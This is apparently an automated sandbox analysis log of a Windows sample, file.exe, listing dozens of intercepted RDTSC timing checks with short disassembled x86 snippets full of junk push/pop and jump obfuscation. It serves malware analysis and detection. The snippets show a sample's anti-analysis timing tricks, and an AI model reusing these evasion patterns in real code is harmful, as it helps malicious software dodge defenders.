Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093040 second address: 109305B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7F6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109305B second address: 1093060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109103B second address: 1091041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091041 second address: 1091047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091047 second address: 1091064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F39B537D7F4h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091064 second address: 1091078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B477F4E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091078 second address: 109107C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109107C second address: 1091096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F39B477F4DFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109133C second address: 1091340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091340 second address: 109134E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F39B477F4E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091BA9 second address: 1091BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7F3h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F39B537D7EFh 0x00000010 jng 00007F39B537D7E6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091BDA second address: 1091BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091BE0 second address: 1091BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092488 second address: 10924C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F39B477F4E5h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e je 00007F39B477F4D6h 0x00000014 jo 00007F39B477F4D6h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F39B477F4DCh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10924C5 second address: 10924E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F39B537D7EAh 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096CB9 second address: 1096CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096DE6 second address: 1096DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096DEC second address: 1096E1A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B477F4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F39B477F4DDh 0x00000011 jmp 00007F39B477F4E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10970AF second address: 10970E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F39B537D7EFh 0x00000011 jne 00007F39B537D7E6h 0x00000017 pushad 0x00000018 popad 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10970E9 second address: 10970EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097425 second address: 109744C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F39B537D7EFh 0x0000000d pop eax 0x0000000e jmp 00007F39B537D7ECh 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097573 second address: 1097577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097577 second address: 1097587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 jno 00007F39B537D7E6h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097587 second address: 109758C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10976E7 second address: 10976F9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39B537D7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F39B537D7E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C42E second address: 109C464 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 jc 00007F39B477F4DEh 0x0000000c push edi 0x0000000d pop edi 0x0000000e jg 00007F39B477F4D6h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jc 00007F39B477F4EBh 0x0000001d jmp 00007F39B477F4E3h 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push edx 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C464 second address: 109C471 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C471 second address: 109C477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2CA2 second address: 10A2CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F39B537D7E8h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F39B537D7ECh 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2CC2 second address: 10A2CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F39B477F4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2CCD second address: 10A2CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2CD2 second address: 10A2CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A3A48 second address: 10A3A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F39B537D7F7h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F39B537D7EAh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jg 00007F39B537D7E6h 0x0000001d jnl 00007F39B537D7E6h 0x00000023 jmp 00007F39B537D7ECh 0x00000028 popad 0x00000029 push ebx 0x0000002a push eax 0x0000002b pop eax 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACB70 second address: 10ACB76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBA98 second address: 10BBAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F39B537D7E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBAA2 second address: 10BBAA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBAA6 second address: 10BBAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBAAC second address: 10BBAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBAB6 second address: 10BBAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD40E second address: 10BD41A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F39B477F4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD41A second address: 10BD422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD422 second address: 10BD426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD426 second address: 10BD433 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39B537D7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFF4D second address: 10BFF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE4FE second address: 10CE508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F39B537D7E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D86DB second address: 10D86DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7337 second address: 10D733B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E00B3 second address: 10E00BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E00BD second address: 10E00F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EDh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39B537D7F6h 0x00000012 jmp 00007F39B537D7EAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E00F2 second address: 10E0124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F39B477F4DCh 0x00000010 jmp 00007F39B477F4DDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8549 second address: 10E854F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E854F second address: 10E8553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8553 second address: 10E856E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD226 second address: 10FD22D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF1A1 second address: 10FF1A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11181FD second address: 1118203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117020 second address: 1117024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117024 second address: 111702A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11171B7 second address: 11171BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11171BD second address: 11171C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117494 second address: 1117498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117D06 second address: 1117D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jne 00007F39B477F4DCh 0x0000000d je 00007F39B477F4D6h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DC5F second address: 111DC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F5DF second address: 111F5EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F5EA second address: 111F5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F5F5 second address: 111F5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112125A second address: 1121260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D9DF second address: 102D9ED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F39B477F4D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DBD6 second address: 102DBE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F043A second address: 48F04E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 71B62B1Ah 0x00000010 mov esi, edx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F39B477F4E3h 0x0000001b xor cl, 0000006Eh 0x0000001e jmp 00007F39B477F4E9h 0x00000023 popfd 0x00000024 call 00007F39B477F4E0h 0x00000029 call 00007F39B477F4E2h 0x0000002e pop ecx 0x0000002f pop edx 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 pushad 0x00000034 jmp 00007F39B477F4DCh 0x00000039 popad 0x0000003a push edx 0x0000003b jmp 00007F39B477F4DCh 0x00000040 mov dword ptr [esp], ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jmp 00007F39B477F4DDh 0x0000004b mov ax, 43A7h 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F04E0 second address: 48F0519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F39B537D7F2h 0x00000010 mov dword ptr [esp], esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F39B537D7F7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0519 second address: 48F0546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F39B477F4E5h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lea eax, dword ptr [ebp-04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F39B477F4DAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0546 second address: 48F054C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F054C second address: 48F0550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0550 second address: 48F0554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0554 second address: 48F0572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F39B477F4DBh 0x00000011 pop eax 0x00000012 mov edi, 2C7BE73Ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0572 second address: 48F05B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 5B27h 0x00000007 mov esi, 2FDA82C3h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007F39B537D7F6h 0x00000017 push dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F39B537D7F7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F05E2 second address: 48F05E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F065D second address: 48F0682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F39B537D7EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0682 second address: 48F0688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0688 second address: 48F068C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F068C second address: 48F0690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0690 second address: 48F06D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F39B537D7F0h 0x00000012 add cx, 0E28h 0x00000017 jmp 00007F39B537D7EBh 0x0000001c popfd 0x0000001d call 00007F39B537D7F8h 0x00000022 pop esi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F06D8 second address: 48E01B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f cmp eax, 00000000h 0x00000012 setne al 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007F39B477F4D7h 0x0000001b xor eax, eax 0x0000001d sub esp, 08h 0x00000020 mov dword ptr [esp], 00000000h 0x00000027 mov dword ptr [esp+04h], 00000000h 0x0000002f call 00007F39B8208A85h 0x00000034 mov edi, edi 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F39B477F4DAh 0x0000003d jmp 00007F39B477F4E5h 0x00000042 popfd 0x00000043 popad 0x00000044 xchg eax, ebp 0x00000045 jmp 00007F39B477F4DEh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F39B477F4DEh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E01B7 second address: 48E01DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F39B537D7F1h 0x00000008 pop esi 0x00000009 mov di, 71B4h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E01DA second address: 48E01E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E01E0 second address: 48E01E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E01E6 second address: 48E01EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E01EA second address: 48E0226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov edx, 1C9FEAAEh 0x00000013 popad 0x00000014 push FFFFFFFEh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F39B537D7F0h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0226 second address: 48E0238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4DEh 0x00000009 rdtsc
